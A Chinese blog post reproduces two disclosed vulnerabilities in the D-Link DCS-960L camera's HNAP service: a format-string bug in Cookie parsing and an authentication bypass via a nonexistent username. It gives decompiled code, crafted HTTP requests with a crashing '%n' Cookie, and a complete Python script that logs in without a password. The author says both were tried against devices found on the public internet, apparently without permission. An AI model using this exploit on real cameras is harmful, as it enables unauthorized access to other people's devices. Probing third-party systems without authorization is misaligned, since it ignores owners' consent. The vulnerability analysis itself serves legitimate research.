Dlink DCS-960L 漏洞复现

Catalpa 网络安全爱好者

格式化字符串以及身份验证绕过

Dlink 官方宣布该设备已经进入 EOS (End Of Sale) 阶段,建议用户及时下线并替换此设备。

基本信息

披露信息:https://www.zerodayinitiative.com/advisories/ZDI-20-1435/

ZDI 编号:ZDI-CAN-11360

漏洞评分:8.8(High)

漏洞描述:DCS-960L 在处理请求中的 Cookie 字段时,错误的将用户提交的数据作为格式化字符串使用,攻击者可以构造特殊格式的 Cookie 触发此漏洞,严重可导致任意代码执行。

漏洞分析

先去官网下载固件(1.09),链接:http://www.dlinktw.com.tw/techsupport/download.ashx?file=11617

固件没有经过特殊处理,直接 binwalk 可以解开,得到一个 Linux 文件系统,我们要分析的目标文件是 /web/cgi-bin/hnap/hnap_service。

文件架构:

1
ELF 32-bit MSB executable, MIPS, MIPS-I version 1 (SYSV), dynamically linked, interpreter /lib/ld-, stripped

直接用 IDA 加载分析,根据披露信息来看,问题出现在处理带有 Cookie 的 HNAP 请求时,搜索字符串 Cookie 并查找交叉引用可以发现名为 Login 的函数,关键代码如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
v7 = getenv("COOKIE");
if ( v7 && *v7 )
{
memset(v45, 0, sizeof(v45));
v9 = getenv("COOKIE");
snprintf(v45, 0x80u, "%s", v9);
v10 = strstr(v45, "uid=");
if ( v10 )
{
v11 = v10 + 4;
v12 = strchr(v10 + 4, 59);
if ( v12 )
*v12 = 0;
snprintf(v41, 0xBu, v11);
v13 = &v58[9];
}
else
{
snprintf(v41, 0xBu, v45);
v13 = &v58[9];
}

首先用 getenv 函数获取传入的 Cookie 字段值,然后判断其中是否包含字符串 “uid=”,无论传入的数据中是否包含,都会把数据带入函数 snprintf 拷贝给缓冲区 v41。但是在使用函数 snprintf 的时候直接将用户可控的数据作为格式化字符串使用,由于 snprintf 的特性,会导致格式化字符串漏洞。

我们可以编写代码测试

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
#include<stdio.h>
#include<string.h>
#include<malloc.h>

int main(){
char* cookie = "is_cookie";
char* mem = (char*)malloc(0x100);
if(!mem){
printf("malloc failed!\n");
exit(0);
}
snprintf(mem, 0xb, "%s", cookie);
printf("%s\n", mem);

char* cookie2 = "%p%p%p";

char* mem2 = (char*)malloc(0x100);
snprintf(mem2, 0xb, cookie2);
printf("%s\n", mem2);
exit(0);
}

编译运行会输出以下结果

1
2
3
4
5
is_cookie
0040802400

Process returned 0 (0x0) execution time : 0.024 s
Press any key to continue.

第一次我们正确的使用 snprintf 函数,拷贝的结果没问题,第二次直接把源字符串作为 snprintf 的格式化字符串,如果源字符串是攻击者精心控制的(例如代码中演示的),那么就会导致格式化字符串漏洞。

注:访问链接 /hnap/hnap_service 可以获取到设备的部分信息,包括型号和当前固件版本。

在公网找到某设备进行测试,先获取设备的基本信息

目标设备使用的固件版本是 1.09,正好和我们分析的版本一致。

下面要构造一个可用的 POC,由于漏洞位于处理 HNAP 请求的逻辑中,我们可以把其他 Dlink 设备的 HNAP 请求照搬过来,下面是一个例子

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
POST /HNAP1/ HTTP/1.1
Host: xx.xx.xx.xx
SOAPAction: "http://purenetworks.com/HNAP1/Login"
Pragma: no-cache
Cache-Control: no-cache
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/87.0.4280.141 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Cookie: 36f0E73734
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close
Content-Length: 0

<?xml version="1.0" encoding="utf-8"?><soap:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/"><soap:Body><Login xmlns="http://purenetworks.com/HNAP1/"><Action></Action><Username></Username><LoginPassword></LoginPassword></Login></soap:Body></soap:Envelope>

测试 POC

首先传入一个正常的请求,设备可以返回响应内容。

接着构造一个带有格式化字符串的 Cookie,为了看到效果,我们可以使用 %n 这个参数

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
POST /HNAP1/ HTTP/1.1
Host: xx.xx.xx.xx
SOAPAction: "http://purenetworks.com/HNAP1/Login"
Pragma: no-cache
Cache-Control: no-cache
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/87.0.4280.141 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close
Cookie: uid=%100x%n;
Content-Length: 374

<?xml version="1.0" encoding="utf-8"?><soap:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/"><soap:Body><Login xmlns="http://purenetworks.com/HNAP1/"><Action>login</Action><Username></Username><LoginPassword></LoginPassword></Login></soap:Body></soap:Envelope>

发送这个 POC,由于访问了非法地址,程序会直接结束,服务端不会返回任何内容。

Authentication Bypass

基本信息

披露信息:https://www.zerodayinitiative.com/advisories/ZDI-20-1437/

ZDI 编号:ZDI-CAN-11352

漏洞评分:8.8(High)

漏洞描述:DCS-960L 在处理 HNAP 登录请求时,对于参数 LoginPassword 的处理逻辑错误,攻击者可以构造特殊的登录请求实现登录验证绕过。

漏洞分析

需要分析的目标文件和上一个漏洞相同,在函数 Login 中存在以下代码片段

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
v16 = ixmlGetElementValueByTag(v5, "Username");
login_password = ixmlGetElementValueByTag(v5, "LoginPassword");
if ( v16 )
{
strcpy(username2, v16);
if ( !strcmp(username2, "Admin") )
snprintf(username2, 0x20u, "%s", "admin");
}
if ( login_password )
strcpy(login_password2, login_password);
temp = username2;
fprintf(stderr, "username: %s\n", username2);
login_password3 = login_password2;
fprintf(stderr, "loginPassword: %s\n", login_password2);
key[0] = 0;
key[1] = 0;
key[2] = 0;
key[3] = 0;
key[4] = 0;
key[5] = 0;
key[6] = 0;
key[7] = 0;
key[8] = 0;
key[9] = 0;
key[10] = 0;
key[11] = 0;
key[12] = 0;
v57 = 0;
v52[0] = 0;
v52[1] = 0;
v52[2] = 0;
v52[3] = 0;
v52[4] = 0;
v52[5] = 0;
v52[6] = 0;
v52[7] = 0;
v53 = 0;
password[0] = 0;
password[1] = 0;
password[2] = 0;
password[3] = 0;
password[4] = 0;
password[5] = 0;
password[6] = 0;
password[7] = 0;
v55 = 0;
digest = 0;
v49 = 0;
v50 = 0;
v51 = 0;
usrInit(0);
usrGetPass(temp, password, 33); // 利用用户名匹配对应的密码
usrFree();
public_key = maybe_public_key;
sprintf(key, "%s%s", maybe_public_key, password);// public_key + password
temp = &maybe_public_key[4] + 4; // challenge
fprintf(stderr, "My challenge: %s\n", &maybe_public_key[4] + 4);
fprintf(stderr, "My public_key: %s\n", public_key);
fprintf(stderr, "My password: %s\n", password);
text_len = strlen(temp); // 获取 challenge 的长度
key_len = strlen(key); // 获取 public_key + password 的长度
hmac_md5(temp, text_len, key, key_len, &digest);// hmac_md5(challenge, challenge_len, public_key + password, key_len, digest)
sprintf(private_key, "%08X%08X%08X%08X", digest, v49, v50, v51);
fprintf(stderr, "My private_key: %s\n", private_key);
digest = 0;
v49 = 0;
v50 = 0;
v51 = 0;
public_key = strlen(temp); // 获取 challenge 长度
v20 = strlen(private_key); // 获取 private_key 长度
hmac_md5(temp, public_key, private_key, v20, &digest);// hmac_md5(challenge, challenge_len, private_key, private_key_len, digest)
sprintf(v52, "%08X%08X%08X%08X", digest, v49, v50, v51);
fprintf(stderr, "My login_password: %s\n", v52);
v21 = strcmp(login_password3, v52) == 0;
fprintf(stderr, "Check authStatus: %d\n", v21);
v22 = v2;
if ( v21 )
{
v23 = time(0);
if ( HIBYTE(maybe_public_key[1509])
&& BYTE4(maybe_public_key[1513])
&& v23 - LODWORD(maybe_public_key[1515]) < 301
&& (v24 = &maybe_public_key[1524], v23 >= SLODWORD(maybe_public_key[1515])) )
{
v25 = 1;
while ( 1 )
{
v26 = *(v24 + 1);
if ( !HIBYTE(maybe_public_key[9 * v25 + 1509]) )
break;
if ( !BYTE4(maybe_public_key[9 * v25 + 1513]) )
break;
v27 = v23 - v26 >= 301;
v28 = v23 < v26;
if ( v27 )
break;
++v25;
if ( v28 )
{
--v25;
break;
}
v24 += 9;
if ( v25 == 1000 )
{
ixmlAppendNewElement(v2, v3, "LoginResult", "failed");
v15 = v2;
goto LABEL_49;
}
}
}
else
{
v25 = 0;
}
snprintf(&maybe_public_key[9 * v25 + 1509], 0x23u, "%s", private_key);
snprintf(&maybe_public_key[9 * v25 + 1513] + 4, 0xBu, "%s", v41);
v29 = &username2[18 * v25];
*(v29 + 1566) = v23;
*(v29 + 12544) = 0;
if ( strcmp(username2, "admin") )
BYTE1(v36[9 * v25 + 1572]) = 1;
else
BYTE1(v36[9 * v25 + 1572]) = 0;
SIWriteBin(63, maybe_public_key, 84072);
ixmlAppendNewElement(v2, v3, "LoginResult", "success");
v15 = v2;
goto LABEL_49;
}
}

首先获取用户传入的用户名和密码,接着初始化了一些变量,然后调用 usrInit、usrGetPass、usrFree 三个函数,其中 usrGetPass 函数代码如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
int __fastcall usrGetPass(const char *username, char *buffer, size_t a3)
{
int result; // $v0
int index; // $s3
const char **v7; // $s2
const char *v8; // $v0
int v9; // $v0
size_t n; // [sp+18h] [-8h]

if ( !*username )
return -1;
index = 0;
v7 = &maybe_username_list;
while ( 1 )
{
v8 = *v7;
v7 += 3;
if ( v8 )
{
n = a3;
v9 = strcmp(v8, username);
a3 = n;
if ( !v9 )
break;
}
++index;
result = -1;
if ( index == 21 )
return result;
}
strncpy(buffer, *(&maybe_password_list + 3 * index + 2), n);
return 1;
}

分别传入 username 和一个 buffer,该函数会在用户名列表中尝试匹配给定的用户名,当找到对应的用户,再把它的密码拷贝到 buffer 中。

获取到用户的密码之后,进入密码验证环节。用户可以通过一个特定的请求从服务端获取 3 个参数,分别是 cookie、challenge 和 public key。获取到这三个参数后,用户需要在本地执行以下运算

1
2
3
1. 拼接 public key 和 password,得到 key1
2. 用 challenge 和 key1 执行运算 hmac_md5(challenge, challenge_len, key, key_len),即用 key1 加密(实际上是哈希) challenge,得到 private key
3. 用 private key 和 challenge 执行运算 hmac_md5(challenge, challenge_len, private_key, private_key_len),即用 private key 加密(实际上是哈希) challenge,得到密文 login_password

得到 login_password 将它和用户名封装在一个请求中,发送到服务端,服务端执行相同的计算(服务端拥有正确的 password),得到正确的 login_password,然后用 strcmp 和用户传入的 login_password 比较,如果相同则登录成功,服务端将本次请求的 cookie 写入内存,视为登录凭据。

通过上述算法可以发现,如果用户拥有合法的 password,就能得到正确的 login_pasword,因为 challenge、public key 可通过请求服务端得到。如果想要攻击的话只能通过爆破 password 尝试登录。

但是服务端在处理 password 时存在一个问题,我们之前提到它首先通过 usrGetPass 函数来获取传入的用户名对应的密码,仔细观察此函数的实现,用户名列表长度是有限的(21),如果外部传递一个在用户名列表中不存在值,使 index 递增到 21,此函数会返回 -1,并且不会向 buffer 拷贝内容,另外 Login 函数调用 usrGetPass 也没有检查返回值。

当一个攻击者向服务端提供某不存在的用户名,usrGetPass 返回 -1,并且本来应该存放 password 的 buffer 此时为空(全部为 \x00),那么攻击者只需要得到 challenge 和 public key,然后按照上述算法执行计算即可得到 login password。

调试验证

Login 函数的反编译结果存在一些小问题,静态分析可能没法写出可用的 POC,我们可以尝试进行动态调试。

hnap_service 是一个 cgi 程序,不涉及监听端口等复杂操作,可以直接用 qemu 模拟执行,启动命令如下

1
./qemu-mips-static -g 12345 -E REQUEST_METHOD=POST,SOAP_ACTION=http://purenetworks.com/HNAP1/Login,CONTENT_LENGTH=432,COOKIE=aaaaaaaaaa -L . ./web/cgi-bin/hnap/hnap_service

-g 表示等待 gdb 附加,-E 指定几个必要的环境变量。运行之后可以用 IDA 附加,在调试的时候要注意某些函数可能会导致程序崩溃,例如 usrGetPass,IReadBin 等,原因是这些函数访问了某共享内存,这块内存正常应该保存着一些用户信息、challenge、public key 等数据,但由于我们是单文件模拟,所以它们没法正常执行,遇到这类函数要手动跳过。

指向上述命令,IDA 附加之后,在 main 函数开头下断点并执行到这里,然后回到终端输入以下内容

1
<?xml version="1.0" encoding="utf-8"?><soap:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/"><soap:Body><Login xmlns="http://purenetworks.com/HNAP1/"><Action>login</Action><Username>catalpa</Username><LoginPassword>CC42B96E000000000000000000000000</LoginPassword><Captcha></Captcha></Login></soap:Body></soap:Envelope>

正常执行,直到进入 Login 函数,在这里就可以开始调试分析了,如上所述,某些会导致程序崩溃的函数手动跳过,challenge、public key 等数据通过修改内存的方式手动写入,当执行完第二次 hmac_md5 之后就可以在内存中看到正确的 password,以某公网设备的数据为例

按照上述思路编写 POC 如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
import hmac
import requests

URL = "http://xx.xx.xx.xx/"

def get_info():
burp0_url = URL + "HNAP1/"
burp0_headers = {"SOAPAction": "\"http://purenetworks.com/HNAP1/Login\"", "Pragma": "no-cache", "Cache-Control": "no-cache",
"Upgrade-Insecure-Requests": "1", "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/87.0.4280.141 Safari/537.36",
"Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9",
"Accept-Encoding": "gzip, deflate", "Accept-Language": "zh-CN,zh;q=0.9",
"Connection": "close"}
burp0_data = "<?xml version=\"1.0\" encoding=\"utf-8\"?><soap:Envelope xmlns:xsi=\"http://www.w3.org/2001/XMLSchema-instance\" xmlns:xsd=\"http://www.w3.org/2001/XMLSchema\" xmlns:" + \
"soap=\"http://schemas.xmlsoap.org/soap/envelope/\"><soap:Body><Login xmlns=\"http://purenetworks.com/HNAP1/\"><Action>request</Action><Username>CataLpa</Username>" + \
"<LoginPassword></LoginPassword><Captcha></Captcha></Login></soap:Body></soap:Envelope>"
res = requests.post(burp0_url, headers=burp0_headers, data=burp0_data)
challenge = res.content[312:332]
cookie = res.content[352:362]
public_key = res.content[382:402]
print("[+] challenge: " + challenge)
print("[+] cookie: " + cookie)
print("[+] public key: " + public_key)
return challenge, cookie, public_key

def get_password(challenge, public_key):
enc1 = hmac.new(public_key, challenge).hexdigest()
print("[+] private key: " + enc1.upper())
enc2 = hmac.new(enc1.upper(), challenge).hexdigest()
print("[+] password: " + enc2.upper())
return enc2.upper()

def login(cookie, password):
burp0_url = URL + "HNAP1/"
burp0_headers = {"SOAPAction": "\"http://purenetworks.com/HNAP1/Login\"", "Pragma": "no-cache", "Cache-Control": "no-cache",
"Cookie": "uid=" + cookie + ";",
"Upgrade-Insecure-Requests": "1", "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/87.0.4280.141 Safari/537.36",
"Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9",
"Accept-Encoding": "gzip, deflate", "Accept-Language": "zh-CN,zh;q=0.9",
"Connection": "close"}
burp0_data = "<?xml version=\"1.0\" encoding=\"utf-8\"?><soap:Envelope xmlns:xsi=\"http://www.w3.org/2001/XMLSchema-instance\" xmlns:xsd=\"http://www.w3.org/2001/XMLSchema\" xmlns:" + \
"soap=\"http://schemas.xmlsoap.org/soap/envelope/\"><soap:Body><Login xmlns=\"http://purenetworks.com/HNAP1/\"><Action>login</Action><Username>CataLpa</Username>" + \
"<LoginPassword>" + password + "</LoginPassword></Login></soap:Body></soap:Envelope>"
res = requests.post(burp0_url, headers=burp0_headers, data=burp0_data)
print(res.text)

challenge, cookie, public_key = get_info()
password = get_password(challenge, public_key)
login(cookie, password)

用某公网设备测试得到结果:

成功利用了此漏洞绕过登录逻辑。

  • Title: Dlink DCS-960L 漏洞复现
  • Author: Catalpa
  • Created at : 2021-01-17 00:00:00
  • Updated at : 2024-10-17 08:47:12
  • Link: https://wzt.ac.cn/2021/01/17/DCS-960L/
  • License: This work is licensed under CC BY-NC-SA 4.0.